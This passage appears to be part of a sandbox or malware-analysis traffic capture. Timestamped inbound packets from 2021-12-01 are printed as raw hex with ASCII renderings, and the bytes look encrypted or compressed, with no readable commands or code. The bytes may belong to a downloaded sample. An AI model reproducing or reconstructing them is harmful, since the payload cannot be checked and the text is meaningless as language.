0c d0 e6 c3 d6 6a f1 4b 3b c8 7f b5 6e 75 fb 3a b5 f7 b7 c3 32 24 b3 15 46 17 e1 7c b7 94 72 05 a7 8f 72 b6 67 0c 3e 65 41 4e e8 82 89 de 27 7c 91 93 Data Ascii: #d1Kt="455G4MWKQtj]aEv_tlV]UUDY8(La8"wEL657_7G\C>z3VBf%oW[V\|C-c6thv_w0PU[i3jK;nu:2$F\|rrg>eAN'\|
2021-12-01 08:15:22 UTC	2437	IN	Data Raw: 45 5e 48 3a 3a bd 8a 0f 60 e7 61 54 d0 a2 5f a5 21 fd dd a2 a4 65 f3 56 31 56 f6 55 f4 60 c4 fb 38 6c a3 b6 6a 61 ff 13 4a d5 89 be d1 dd 47 a7 08 64 f5 16 66 1b 4a 89 a1 6c d6 07 d9 a0 3c 41 86 c7 81 a1 96 83 19 d5 0e 05 6a 63 33 ef a6 00 bf 54 e8 6c 50 05 45 ca 3b af f7 49 2d f3 15 dd b0 1f c9 da c8 3c 38 bd ab 98 58 b0 bb 36 81 97 39 c2 b3 18 23 b9 34 d4 47 48 3a 46 a1 4d df f9 51 17 e4 55 27 37 b6 9a 77 1c aa 1d 86 c0 07 ef 94 e2 54 ed 82 53 2c b5 68 4a 01 dd 55 1f 0f 61 98 df d5 1f fc ed 7a 13 74 3b d1 56 35 1a ae 38 bb 5e 52 c2 59 b7 5c 7f bc af ac fd b7 18 2a ea f2 93 a9 4a 37 d8 6a 32 c4 87 26 7c 0e ae b4 4e bf 07 59 56 66 8a c9 79 c9 91 d2 00 a3 a1 2a 6c be 14 8f 0c 72 56 2a 66 4e a4 62 44 0c cb e6 bc 44 5b ab a4 dd 33 de 84 ed 89 44 51 73 f5 97 Data Ascii: E^H::`aT_!eV1VU`8ljaJGdfJl<Ajc3TlPE;I-<8X69#4GH:FMQU'7wTS,hJUazt;V58^RY\J7j2&\|NYVfylrV*fNbDD[3DQs
2021-12-01 08:15:22 UTC	2453	IN	Data Raw: e6 48 81 66 a9 25 ae ec ee ea cb d9 71 47 1c 5c bf b0 3e 6f bd 88 e2 52 da 90 ea 12 e5 ce 32 0d c5 f0 ee 53 0b 1f e9 4a f4 b5 83 88 91 84 5d 0f 1e 23 b3 b3 34 b4 aa a1 18 aa e6 d3 0e fb 89 79 8f 31 5f 54 81 e7 4f 9c d8 cc 9b 12 82 18 dd 3f 2e 93 a7 55 ab 1a 3f c2 80 ba 0d 38 a9 a9 5c 33 dc a1 b1 ee 58 1a 8b 65 3b 7d 35 3f d6 7d dc 73 36 fc 4c 89 1d ee 00 ef 8e fb f5 4d 49 91 e7 09 44 f8 44 f5 2d 54 17 c6 12 7c 53 4c 4d 3b 8d cb a8 0f 9d fa cb f1 e5 b1 2f c3 5d fa dc d9 bb 2b b3 af 06 43 92 77 c0 9d 20 22 30 4e 7a 2c 2f 5f ec 12 14 ee 2b 89 85 10 08 01 81 6b c5 c0 39 0f c4 39 46 b2 53 6f a1 fb e6 6a f3 4c bd d8 5f a9 56 1c 86 60 b2 12 af c8 dd 2d 3c 76 75 71 f0 a9 18 14 0e 4f 12 9c 2d 50 2c 2b 27 fd af 28 bd e8 d3 4d f9 ae 1d 24 7e ac b6 dc e0 9a 67 83 d3 Data Ascii: Hf%qG\>oR2SJ]#4y1_TO?.U?8\3Xe;}5?}s6LMIDD-T\|SLM;/]+Cw "0Nz,/_+k99FSojL_V`-<vuqO-P,+'(M$~g
2021-12-01 08:15:22 UTC	2469	IN	Data Raw: 2e 74 5b fd 72 7a 9d c8 70 a5 40 89 ca 6a bd 40 cc 59 cf a9 c2 f0 51 09 5a 06 a5 5a 44 c7 d3 76 49 94 e0 9f db a9 67 4e 80 b8 10 62 12 18 69 38 ec dc 76 ba 7d cc aa bf 5a ce 53 ab 2d e2 e8 54 fb ab 84 b2 c3 fd 3c 25 9d c4 8a 0f 47 d2 dd 6c 9b e1 8c 33 69 1a d1 3e c2 ee b5 50 c8 bf 94 e5 fa 65 a5 9a 6b 20 6e e5 b6 32 67 9e bd 7a 24 81 98 7f 67 8d b1 12 b1 8c f7 ef a8 ed 92 4d 64 e6 2d d1 78 9d 3c 33 1a 72 0b f2 10 1d 0c e3 21 68 5d 26 5b 77 0b 2c 21 fd 25 7a 77 fb 8c 62 c7 b3 12 e7 3f bd 86 2e 77 a8 86 99 5b c5 54 5e 66 12 7e 76 29 da be f6 3a 03 93 a5 48 e5 71 76 cd d5 a2 87 00 a7 4f 8f 39 c6 9c a2 fd 08 ea d8 7a 6a c2 49 f8 ce 36 78 11 a2 33 37 a6 40 8e d6 cf a1 4f e6 9c 27 19 ef f9 48 7d d0 86 aa cc 0e 6b f9 93 b9 8c ef 47 ce cf db 53 42 2a 8e f6 4f 19 Data Ascii: .t[rzp@j@YQZZDvIgNbi8v}ZS-T<%Gl3i>Pek n2gz$gMd-x<3r!h]&[w,!%zwb?.w[T^f~v):HqvO9zjI6x37@O'H}kGSB*O
2021-12-01 08:15:22 UTC	2485	IN	Data Raw: b5 3f 4d fc 3f c2 e8 a0 9f b7 5d 86 9a d4 02 c2 dd a4 0a 41 0c 28 94 3a a2 0b 6e 3f c7 74 49 c1 0a a4 22 30 ad 72 42 a8 c3 ed 5d 6e ae 76 7f 21 80 27 1d 21 78 4d 89 4c a3 4a a5 9d 1c f9 0d 91 36 ff 1a 8d f6 f7 8e 19 b0 e7 ab 4b 96 86 82 c9 81 44 b0 f7 d2 59 61 a1 82 37 c0 07 b7 99 a1 6f 39 c8 b7 51 a8 8f b5 39 ba 47 73 f0 61 8c 5b 63 41 d1 29 5c a3 63 28 1a 16 d4 3c f3 62 b0 4b bc 86 0f 22 27 f2 99 31 5a 10 1a 32 2f 2c 9b fa cc a0 56 af 1e cb 14 cd 11 78 e0 65 b9 53 a6 50 ed ae ac 59 a6 d1 54 08 9f fe 13 39 49 6f 98 55 47 2e b0 14 43 38 da ec 25 c6 56 8f fb d8 61 2b 77 9d 60 91 20 3d 68 63 2e 3d 05 e6 86 07 b0 7c a0 c2 2d 0a 6d e5 04 67 e4 10 28 c5 6b cb 19 c2 49 cf 09 51 04 a3 2e 4c 08 c3 bf 4e a8 c2 b3 bf 3b 25 f0 6d a8 60 55 85 01 e4 29 d1 1e 5d 29 4a Data Ascii: ?M?]A(:n?tI"0rB]nv!'!xMLJ6KDYa7o9Q9Gsa[cA)\c(<bK"'1Z2/,VxeSPYT9IoUG.C8%Va+w` =hc.=\|-mg(kIQ.LN;%m`U)])J
2021-12-01 08:15:22 UTC	2501	IN	Data Raw: d9 bc a8 a2 7e e0 42 45 4c 57 67 39 b6 10 d1 c3 63 83 b2 17 33 63 19 7d 7f f9 f0 a0 18 57 0a 7a 6c 3e 00 dc 8c b0 ab 17 2b 64 03 ae fe 07 98 50 db 2a 49 f1 cc a9 25 5e 11 67 a8 78 4f 13 80 dc 25 1e b0 75 82 58 1e 1a af 77 a0 b5 c5 d3 f5 7a f4 0c 94 32 fd a3 21 5e 97 cc b7 5b 3d fe 86 df f5 f3 03 74 5b 56 8a fa e1 7a 7e f2 2f 69 ce 0c 48 1e 48 41 e3 d7 48 37 25 a4 34 00 e6 d9 51 b6 cf 53 10 e2 39 b9 7f 9c 3d c7 50 d7 3d 5a ce 64 7f 6b b7 d7 f3 e9 27 1a 09 63 83 fd e7 22 8d ac 57 4c a2 13 20 05 c9 0e f2 a8 0e 81 72 fa 7d 8a a4 08 2a 59 48 dc d2 96 b5 1e b5 dd 75 e4 5e 64 ce f1 5d 02 1e c6 c1 65 be 85 ce e1 6d ff 60 e7 9a fd 5f c7 c9 3f b7 6e f3 55 64 62 0f 6c e5 54 6a a2 f3 66 e7 41 1b 8c e5 7f 5c 8d 7c 05 41 fe df 40 7e ac 26 7b 13 d3 5d 4a 87 21 ac b6 9f Data Ascii: ~BELWg9c3c}Wzl>+dPI%^gxO%uXwz2!^[=t[Vz~/iHHAH7%4QS9=P=Zdk'c"WL r}YHu^d]em`_?nUdblTjfA\\|A@~&{]J!
2021-12-01 08:15:22 UTC	2517	IN	Data Raw: 73 8c d7 83 ac 83 8b e5 30 00 2d e9 ab cf 59 18 09 6c c3 e6 12 5c e0 ef d0 56 d6 d9 93 f4 87 e2 25 63 a2 95 0f b1 d3 e1 d9 e5 3c 7a 2c b2 10 df b5 84 ea f1 6e 64 c0 7a d0 a7 db 18 b9 cf 37 05 44 73 d8 0c 19 b6 83 e4 81 58 fd e4 9d 86 cf 5f 91 d6 ba 8d f5 72 d8 1c c7 13 43 9d c4 48 dc 81 f4 50 e8 34 9f 28 db 47 61 a5 28 e5 cb 9f bb 04 d9 8f fc 25 e5 c9 7f b2 be dc e1 72 8d 2a f6 c9 19 48 8e a5 ef df 18 07 c4 05 39 f5 5c 33 3a 9a 63 78 fa f3 29 ee 44 d3 e3 1f d3 dd 63 fd 65 8e 0c f1 57 58 d1 f8 8c dd 2f 96 56 6f 81 71 a8 54 2b 6e d1 2b 9a 6f 43 e2 96 75 ad d4 ea 34 81 f6 ff 9d 3f a5 18 76 2c dd 9a 4c 0b fa a0 70 8d ec 0f 85 02 03 2e 1a 35 a0 ec 48 a2 8c 2f 40 38 85 41 b0 df ee c7 5e 9b d4 a7 46 27 1a b0 1c 15 62 a2 71 e0 6d d7 65 81 d7 37 3a 81 b4 50 b1 7c Data Ascii: s0-Yl\V%c<z,ndz7DsX_rCHP4(Ga(%r*H9\3:cx)DceWX/VoqT+n+oCu4?v,Lp.5H/@8A^F'bqme7:P\|
2021-12-01 08:15:22 UTC	2533	IN	Data Raw: ec f5 e8 8e 26 08 13 5e 20 8d 3a 90 48 d3 05 63 82 52 bd c4 bc 03 96 03 82 43 cc 80 50 0b c2 f4 11 40 9e e8 0a 16 21 f0 6b d0 f2 79 bb 89 57 49 64 2f 5b 9a 52 a6 46 89 4f 47 d2 46 dc c1 9d 33 7e 81 5c 5a 39 91 aa 56 0d 91 eb 18 74 dd 4b 14 b2 60 4b e0 d6 9d 96 16 c1 86 ba ab 3b cb 17 7e a7 04 97 64 d8 3e ea 5a 32 61 ba 3d b3 90 52 8e ce 7d 97 fa 0b ce 74 1d 34 d0 aa db 09 86 26 a6 f2 16 27 89 79 c1 2a 10 d9 3d 3e 80 f8 7e 59 8e 43 2c 8e 5e e3 57 ec b7 56 37 2d db 55 69 f9 68 dd 53 3b 14 15 a9 86 b7 e4 50 8f b3 ce f7 f2 52 ed 60 24 06 f0 ab 51 74 89 68 0a 5e 4e f3 f9 a3 3f e9 5d 8f d8 f1 00 6e 0f c6 63 50 61 7b 80 25 7b f4 73 25 94 e2 fe c8 7d f2 97 77 91 61 29 ad 9e 7d ad 5a 52 ab 1b 74 f1 29 20 0c f8 87 eb 18 e5 15 75 56 82 68 b0 a1 5b f9 da ad 81 08 59 Data Ascii: &^ :HcRCP@!kyWId/[RFOGF3~\Z9VtK`K;~d>Z2a=R}t4&'y*=>~YC,^WV7-UihS;PR`$Qth^N?]ncPa{%{s%}wa)}ZRt) uVh[Y
2021-12-01 08:15:22 UTC	2549	IN	Data Raw: 66 54 fa 79 3c e5 24 a7 37 4d e1 72 42 44 89 83 bb ba d8 f6 31 d9 fe cf 83 38 5e 50 76 e8 04 c2 33 af 36 51 d5 41 ba aa 5d 87 e4 98 40 10 72 6a f6 14 5e 12 a1 03 7d e3 97 b4 bc e0 6b 89 fd 45 76 9e a3 c2 9f 2f 65 37 a0 aa dc 7c cf 5f 2f 73 21 cc 29 82 ef c1 fb 20 c0 02 15 88 b2 60 23 e1 ee 13 83 67 5f 04 99 1c 1c fa 80 55 f2 ed 4a f2 45 61 9e 7c 74 92 d7 45 3a 7d c6 53 80 21 5b 1a bb ac 6a c4 80 47 2f 81 8e 23 bb cf 67 4a 68 76 cc d4 59 a2 63 51 93 b4 f4 fd 9e 7b 7a 03 ad 2f be 5f 2b 2b 8a 54 37 13 39 e8 1a f4 fc ec 4b 5a 46 2c e1 5e 3f 2b 52 17 02 81 f6 5e 76 49 ec 4a be 95 3a 52 d7 6b 62 cd b9 2b aa 6a bc be 77 f9 ba 08 61 f7 16 27 88 30 74 bc 46 48 78 75 7e 24 a2 47 a3 e9 4e fb 9b 66 1f d4 31 00 eb c3 ee cd ab d1 bb 77 8e dd f3 6d ae 0f a7 2c 7c d3 f8 Data Ascii: fTy<$7MrBD18^Pv36QA]@rj^}kEv/e7\|_/s!) `#g_UJEa\|tE:}S![jG/#gJhvYcQ{z/_++T79KZF,^?+R^vIJ:Rkb+jwa'0tFHxu~$GNf1wm,\|
2021-12-01 08:15:22 UTC	2565	IN	Data Raw: 45 9d b6 c7 03 19 cf e7 1c 5e 49 c6 3b 57 3a 2e c9 cd 0e 4c c6 fa 71 51 b9 a4 ad a1 73 8e 25 a0 f3 dc 51 85 09 95 26 48 19 b8 94 25 ac 15 7c b2 53 e2 98 9c f0 13 37 78 4a ca a2 92 d9 30 41 8e 77 ca f9 1f 72 fd 67 31 bf b8 4d db 24 41 c8 7a f9 3b 17 24 1a 5c 34 56 e1 fb 23 2b e2 1c 94 c9 06 c6 68 d9 a8 e1 24 e5 74 93 35 ff 04 4b b5 d3 98 43 04 0b 31 14 c6 4c 2c 6f 5b ed 4e 38 77 2b a2 6f 73 eb 58 e3 8f 4b ca 6c 04 d2 8b 07 eb 9d eb 90 cc e7 98 71 22 31 00 91 ad 6e b4 e0 98 b2 2d 6a a4 cf b6 9f 5a 8e 1e ba f7 3c 4a ab ae c8 5a 30 1b e5 46 32 31 86 cd f0 b6 14 d0 dd a2 14 de ff 81 86 90 12 b8 64 c4 4d 25 39 69 42 2d ba 5e aa f5 d5 98 a0 03 bc b8 46 ad 92 a5 37 60 a4 d6 11 b8 f3 5f 16 a0 e5 97 53 73 41 dd 20 1d 1c 5f 17 12 3e ee 3e 73 f7 1e 3e 53 d4 1b 6b ed Data Ascii: E^I;W:.LqQs%Q&H%\|S7xJ0Awrg1M$Az;$\4V#+h$t5KC1L,o[N8w+osXKlq"1n-jZ<JZ0F21dM%9iB-^F7`_SsA _>>s>Sk
2021-12-01 08:15:22 UTC	2581	IN	Data Raw: 7b ea 00 5e 78 7e 9c 3d 1b a8 3f ed ad 3e 0a c4 97 f3 6c f7 ca ca ae 1c b1 f3 6a a8 80 5d 27 91 0d 05 ca f2 f4 4a 04 a3 13 ae 37 1d a0 64 91 bd ef 5c 96 4b 34 1e 71 16 3c 71 cc 13 01 36 38 95 4f be d9 3d 2f f3 15 52 59 7f 27 ed bb f6 87 a7 f0 c9 08 c4 ad da ec b2 24 2c 8a 42 f5 7d 34 84 69 d8 a7 69 fb 55 62 b9 61 37 5f 6f 8c 26 83 65 9f 35 f2 83 70 22 8e ff 41 48 e7 6f df 5e c4 28 8f f6 12 e1 95 30 90 06 5d 9a 4e ae d5 6b 28 09 15 d2 e5 2f 73 e0 91 aa 78 90 f3 71 fb 47 1f 34 46 22 79 c5 6f d5 38 ce d1 ab d5 ca 72 dd e3 86 b8 b1 a1 5e 0b e9 b7 7b 27 7e 23 c2 34 85 c3 ac 7f 37 9b 42 ef 1e d0 9c dc 4c 50 ca bd d1 05 81 90 54 be e3 77 cc 5a f9 7b 62 56 ec 7c 9c 87 76 b5 e4 74 c9 75 54 16 98 15 7b 85 39 da 4a e8 2e 6c 07 6d cf c8 41 08 62 32 f8 98 90 c8 10 c8 Data Ascii: {^x~=?>lj]'J7d\K4q<q68O=/RY'$,B}4iiUba7_o&e5p"AHo^(0]Nk(/sxqG4F"yo8r^{'~#47BLPTwZ{bV\|vtuT{9J.lmAb2
2021-12-01 08:15:22 UTC	2597	IN	Data Raw: 6a 22 0e 36 30 81 51 f7 ff 03 cf a1 34 1a 2e 98 4a 0f 44 c3 2a a2 6d b8 5e bb 68 d0 40 1d 71 5f c6 da 2d 8b d9 07 9b b9 68 15 da a0 70 ff 64 2c 8e 9c c1 64 3b 2a 99 3c 74 af 78 e4 8e 36 ed 6c 9b 2a da db 54 df 51 4f 3c d7 27 da 12 92 5e 6d 2c ac 46 86 3d db 8e c0 08 a6 cd b8 dc ee 1f 67 15 5f 1a 93 04 06 1b b0 8a d3 88 57 35 e7 c3 57 5e 5f d4 48 1f 37 cc 32 4f 3b 55 c4 9b ed c3 5b fd 9a 1c 83 75 b8 2b cd c5 da c8 84 ed d7 1e 4a 12 ae ce 8a 74 8b c8 95 21 16 d2 9b 35 6c 94 f4 c8 f4 4e 1b 12 9f 01 00 cd 19 b1 06 29 8f 46 0e 70 cc 9c a0 82 4f 35 09 fd 8e ef 31 4d 38 8b cd ff 5b 77 67 c8 87 3e 32 56 f0 f6 d2 60 3a bb 68 c2 29 2f 69 d3 50 cc c3 06 45 01 0c 79 25 5c f6 68 29 26 d6 e1 8e d3 a2 ec cc 05 ce 85 ed bb 42 c7 40 f1 03 ec 6a 04 ef 35 3f 98 fc 94 31 62 Data Ascii: j"60Q4.JDm^h@q_-hpd,d;<tx6l*TQO<'^m,F=g_W5W^_H72O;U[u+Jt!5lN)FpO51M8[wg>2V`:h)/iPEy%\h)&B@j5?1b
2021-12-01 08:15:22 UTC	2613	IN	Data Raw: b2 fd f1 91 b8 cc 83 6a 87 78 e0 6d cc 61 24 56 1e fd ea 6b 6a 8c cf 57 d0 ac 1d 41 3c ec 3b 75 97 b2 17 fa 2e 3a b7 24 69 7e aa 95 6b a2 b0 52 93 7b f6 7e be ff 69 76 38 0d 43 e7 21 b5 a1 47 ed 9f 0c 0b 9a 82 ef 4c 0b 22 22 da c9 34 ef 0a 0e 71 5b 95 7a 8b 24 ae 43 7c 6d 8f 34 bc 4c 70 5c 29 21 fc a8 5b d8 10 a7 91 45 7a 88 73 a9 14 a0 52 48 b0 cb 0f 10 fe b6 41 ae c1 63 f9 10 87 1b 07 f2 5d 6d d5 88 40 c6 e1 85 e5 73 33 78 49 4a 4e c1 c1 43 44 ec 81 5a ce 49 a9 91 43 2e 39 b8 72 bc b9 a4 83 b1 5d 7f d1 ba e9 f7 db c3 fb ad 3b ec d6 75 48 99 e6 77 39 63 d8 8e f5 a7 4a de 92 ce 3c 0c a9 25 ad 81 d3 02 86 27 f2 07 e3 30 87 89 87 43 3e a8 4a b0 35 e3 a9 e6 b5 46 21 71 5e 7c 81 83 ef 9e 10 ae 32 ed 20 8c 9e c2 96 48 54 ca d2 62 7d 32 a6 41 e5 61 f5 f4 b7 3d Data Ascii: jxma$VkjWA<;u.:$i~kR{~iv8C!GL""4q[z$C\|m4Lp\)![EzsRHAc]m@s3xIJNCDZIC.9r];uHw9cJ<%'0C>J5F!q^\|2 HTb}2Aa=
2021-12-01 08:15:22 UTC	2629	IN	Data Raw: 54 09 85 85 d4 14 3e 83 19 13 12 a3 67 b8 4f 86 7b b5 fc ad 96 58 df 05 85 b9 e2 d9 93 8b 75 bc 13 7b 78 49 fb 98 5e c2 44 9a cf fd ed 42 72 b0 9b c3 35 51 a4 75 02 19 2e 6f ab 4e 04 b3 3f e3 ab 4b 3f 3b 95 03 53 a2 bf a2 0f bf e3 bc 6f bf 81 ae ec 36 20 16 ad ab 9e d8 44 25 4b 5f 4f 83 0c 48 e8 00 0b 95 5a 7a 44 8e 94 21 ed 56 fe db 25 a1 61 55 41 b2 67 60 40 db 4e da c7 5c f2 36 10 2a e7 2a d2 2d 56 0a 7d ec ea 94 39 ad b7 3f 24 b4 bd cc 44 48 c3 1f ad 14 5f a0 f3 39 3d 3b 8f b9 e2 08 bf a0 04 16 43 f6 43 46 76 f8 8f 2e 93 6b b3 99 be e2 75 bc 67 d2 4f 37 83 b5 d5 20 c7 1b 20 7d 72 77 0d 30 0c a0 2e 37 8b bb bc 2a 5f 77 c6 1c 56 5b 41 61 07 36 a0 25 b9 cc 4c 27 b0 57 7a fb 45 07 b4 fb 68 c8 3a da c3 29 7a 03 eb 59 98 ff 48 0a f7 e5 d4 13 61 94 e8 ba e6 Data Ascii: T>gO{Xu{xI^DBr5Qu.oN?K?;So6 D%K_OHZzD!V%aUAg`@N\6*-V}9?$DH_9=;CCFv.kugO7 }rw0.7_wV[Aa6%L'WzEh:)zYHa
2021-12-01 08:15:22 UTC	2645	IN	Data Raw: 2b e3 b1 70 d5 5c c4 70 de af 74 5c 93 e3 f3 f2 3e c2 24 99 7a 04 e6 c1 65 9a 36 53 48 71 25 ab 22 5e dd 49 4d 53 da e2 81 c0 db e8 7b 95 b4 cb b8 6f 99 df 8a f3 25 a9 da de 00 a9 7d 3f c9 a3 9f b2 34 64 71 86 fd 31 70 3b a7 02 c6 6f d0 39 3f 1d e5 d7 65 40 98 d9 cc 38 7f 29 51 05 2c e7 d7 ab 50 78 73 95 64 2d d9 2e 08 f9 4e 37 5f 76 b2 33 b7 51 90 df 4e f1 35 f3 9d b3 97 f2 f7 86 5a f0 6e 62 3a 14 62 b6 7e 52 f8 68 51 7c 08 b4 c2 9b 9b 7f d3 05 d3 9c 60 ed 0f 4a 6d 1b 87 49 a8 23 a1 cf b6 70 04 17 2e 26 c3 ae 66 40 46 51 4e 6a 9a 0a 9a 11 e2 6b 0d 07 18 2c 45 e3 b5 57 85 33 f6 f6 a9 f0 44 19 93 bc 04 20 5f f2 49 6a d9 68 26 a9 8c 4c cc 85 d0 1a fe c0 98 1b d5 db 77 23 24 5b 7e 13 a0 b8 74 5f 5b 0f dd dc d6 06 83 49 13 24 ef e9 58 04 68 03 4c 63 7c 39 b7 Data Ascii: +p\pt\>$ze6SHq%"^IMS{o%}?4dq1p;o9?e@8)Q,Pxsd-.N7_v3QN5Znb:b~RhQ\|`JmI#p.&f@FQNjk,EW3D _Ijh&Lw#$[~t_[I$XhLc\|9
2021-12-01 08:15:22 UTC	2661	IN	Data Raw: c7 a0 b8 e0 ef f3 16 7e e3 6c 0a ff 84 29 14 24 5a c6 7a 93 53 c1 91 34 d0 fc a4 30 a9 ea d0 f6 00 d6 f2 ad 02 9c 6b 4c cc 97 81 85 2b 81 10 94 66 4a 43 c6 39 e2 ad ee 10 89 df 2e 64 d9 d0 b6 44 1d 07 a8 07 11 46 02 62 bd 86 2a 41 be 27 50 f4 a5 d0 a6 8e 72 24 c1 ea ac d3 fb ef f2 0a c6 c2 87 2b 80 00 2e 1f 6c 50 5c 85 7b d9 49 56 be 0a ab 86 1b 07 6f 78 9e d0 e2 0a 41 8b de 38 5d 78 9c dd 0b ef 0e 40 a0 44 d8 6f 29 b8 22 86 3c 8d 2d 9c 33 d5 75 a6 37 3d f8 c8 bc c0 65 95 23 c7 a6 5f 3b 1c b4 cc 90 2a 6e ff ce c2 56 72 cc 00 1f 30 91 10 24 9f 65 5b 8f 1a 65 7b 2c 74 ef 05 3c 65 63 08 5d 77 3c 49 6c 38 0a fa 4a b9 61 aa 02 24 7c ae 45 50 d7 84 22 08 6f 62 92 fe 58 d1 51 0e b1 d2 8b 65 0f 6f c2 f2 ed 17 4f 3a 5d a0 d8 59 1e a1 14 c9 c6 b0 c8 b2 76 54 16 b3 Data Ascii: ~l)$ZzS40kL+fJC9.dDFbA'Pr$+.lP\{IVoxA8]x@Do)"<-3u7=e#_;nVr0$e[e{,t<ec]w<Il8Ja$\|EP"obXQeoO:]YvT
2021-12-01 08:15:22 UTC	2677	IN	Data Raw: f9 c3 ff f0 85 8f 0f 88 b4 d8 00 7e 78 84 16 d9 f6 8f b6 cf 8b 0a 24 68 42 9b 4a bc 51 73 a7 da 48 4e 76 3d af bb 8e 62 f5 63 b5 df 28 19 38 50 49 6a b6 fe b4 8d f3 b0 a1 1f b2 c4 c3 ac db c4 b2 0b 39 5a 86 c9 2b 9f 40 d1 f4 4a a2 cd 39 a5 a3 e5 88 8c 08 78 47 39 ed 3a 37 09 98 f7 d7 39 b4 9e 7b 33 9a db 0a 89 6f 9f 40 d2 33 9d 2c b6 38 b2 b7 9c 00 95 dd f4 21 22 7b 55 b3 56 ec 89 36 ea 6c 51 3f b1 ad 8c 95 a7 81 b3 f7 1c fc 5d 79 1b c9 69 24 f8 09 23 59 00 35 ca 66 a3 ea d5 78 98 e7 95 a1 1f d4 b3 a3 69 a2 0f fa 14 b1 bf f9 45 b7 a0 34 3a d2 32 7c 20 13 51 b6 ab a5 cf 06 b7 0a 1e fe 29 ca dd 01 10 90 d6 a0 7e af 7f 66 1b 29 be 0c a3 dc dd 52 31 90 43 f7 4d d0 18 19 fb bd da c8 03 88 ed 62 3c b6 49 36 ad 4a 37 96 e3 a6 1e 9a 44 ba e7 b7 db 35 b7 8f 80 a2 Data Ascii: ~x$hBJQsHNv=bc(8PIj9Z+@J9xG9:79{3o@3,8!"{UV6lQ?]yi$#Y5fxiE4:2\| Q)~f)R1CMb<I6J7D5
2021-12-01 08:15:22 UTC	2693	IN	Data Raw: 57 71 6e 53 5d 9a 70 c5 bb e2 b6 18 75 fa e3 6b f6 de 48 59 82 64 60 8a 2a 9f 36 ed 41 03 5f 86 c4 8b dc 5a 10 0e 7d 04 86 c0 3d 57 87 11 ec e5 11 51 23 bd 06 18 9e 6f df bc 2f f6 17 5e 49 7e 0c 34 c7 c9 43 d0 03 6e 67 2f bd 7e 62 44 fb af 66 6e 19 69 ea bb e0 57 0a b8 5e 90 ef 39 f8 20 55 3b bb 0a cd 0e c5 a8 92 fd fa 51 99 76 0b d2 f2 02 6e 21 ed cc 9c 8f 69 08 40 e2 16 22 58 bc a1 88 5d ca 63 be b9 a2 e5 8a 33 88 ca 3e 01 64 66 1d e0 b8 d2 15 f4 7c 49 d1 c3 d7 ec 29 c6 9a d3 e4 6a 38 70 92 74 06 10 7d e0 c8 86 dd 32 61 7f bd 8e e9 08 9a da b0 11 46 61 57 00 5c 70 33 80 9c f5 6a 1d e5 46 4e 66 b9 77 b6 a4 b7 95 ff 38 29 92 cd 2c ca 61 43 c4 ef 59 65 3f 65 e8 24 64 c3 9b 49 d7 7a 36 ed 1e b2 7a fa 0a fa e4 5b 51 16 c2 7b f9 4c f9 00 da 77 b1 d3 c7 58 ed Data Ascii: WqnS]pukHYd`*6A_Z}=WQ#o/^I~4Cng/~bDfniW^9 U;Qvn!i@"X]c3>df\|I)j8pt}2aFaW\p3jFNfw8),aCYe?e$dIz6z[Q{LwX
2021-12-01 08:15:23 UTC	2709	IN	Data Raw: 82 e1 72 94 0f 44 06 6d 68 c0 55 ce 9f d6 2d 85 ae a6 91 32 e9 ca 19 fa 4d be 75 a5 7f 79 54 7b 86 3f 88 4f ab 0e e1 6a 73 0b d7 e4 c8 65 ad e0 3e 0d c6 10 4d 9f 84 0a 95 dc 5d 19 d7 ec 30 6e 1f 1e dd 49 08 34 80 3d fc d3 e4 35 c5 1b 40 46 c0 41 12 de 95 f3 13 0b 9c fa 3e dd 64 a9 1a fd 3f 11 4f e7 74 d4 eb 3c ba cb af c1 18 26 1e c1 ca 43 28 ac a9 31 b8 20 1d c6 2f 90 b4 fe 1d 41 d5 61 64 39 77 d3 38 8a 2a 7e 5e ab a5 57 49 3e c9 cb 4d e5 07 a5 4a 24 7f 05 a7 0d 94 7c b9 af 54 2f eb e1 f1 7c ed b6 a0 b0 53 56 08 de 4e be af 2a 4e 42 05 8e 4e 6d ca b5 da 60 26 75 9f 7e a0 50 4c e8 68 72 02 23 a5 35 1f 56 fb 3c 2c b4 8d 7a 6b 2b d7 c2 9c 55 8f 8f c4 1e 51 7c b5 e5 fa cb 57 b5 f9 89 d5 3b 4f 9d 2a 03 7c f3 60 e6 86 58 bb 15 a8 75 74 76 20 bb e5 20 29 f7 28 Data Ascii: rDmhU-2MuyT{?Ojse>M]0nI4=5@FA>d?Ot<&C(1 /Aad9w8~^WI>MJ$\|T/\|SVNNBNm`&u~PLhr#5V<,zk+UQ\|W;O*\|`Xutv )(
2021-12-01 08:15:23 UTC	2725	IN	Data Raw: 35 98 16 05 a6 7a 0e 4b 7f 92 73 3f 23 40 9d f1 62 6f e3 12 7c 3d e7 d7 1b 6c 00 76 8f 91 81 76 ef 59 86 49 07 e7 ad 45 7f bb 71 bb 6d 0b 58 a0 8a f3 8d cf a0 5b 89 7a b5 2a 68 6d 60 71 b1 2b c5 a7 a1 2c 9f 9e 55 9c b9 f0 45 f5 bc 2c d7 16 b1 9e 04 a9 ef eb ba 77 9b 4d 32 a7 a8 8e 42 56 0b 88 33 83 4d ca 9d b3 cc de 0b 43 1c e5 80 61 39 8b 4f ab 45 c4 0f c7 63 2f 71 a2 53 47 c6 05 85 0e fb 78 00 40 55 02 c3 b0 13 61 df 96 93 e5 ad 10 d3 8d 6a 7e 7b fe c8 f5 e4 eb b0 e8 85 4c dc dd a0 98 e6 f3 57 a6 ad 1a 74 71 d2 cd 7a 6a a1 35 a5 a7 40 b6 9e a5 e8 c3 df e5 00 90 c3 f7 b1 31 3b 64 0d fb a9 54 d9 a6 09 c7 0d 24 ed 01 5e a6 76 57 0d 36 23 a1 8a 28 64 63 e0 98 4b 2d 89 20 5d b7 91 dd fd ce 6d 44 a6 ce 2a 31 3e 70 4c a3 08 c7 d9 0c 64 b4 4e fa 0d 2a 99 b2 a6 Data Ascii: 5zKs?#@bo\|=lvvYIEqmX[zhm`q+,UE,wM2BV3MCa9OEc/qSGx@Uaj~{LWtqzj5@1;dT$^vW6#(dcK- ]mD1>pLdN*
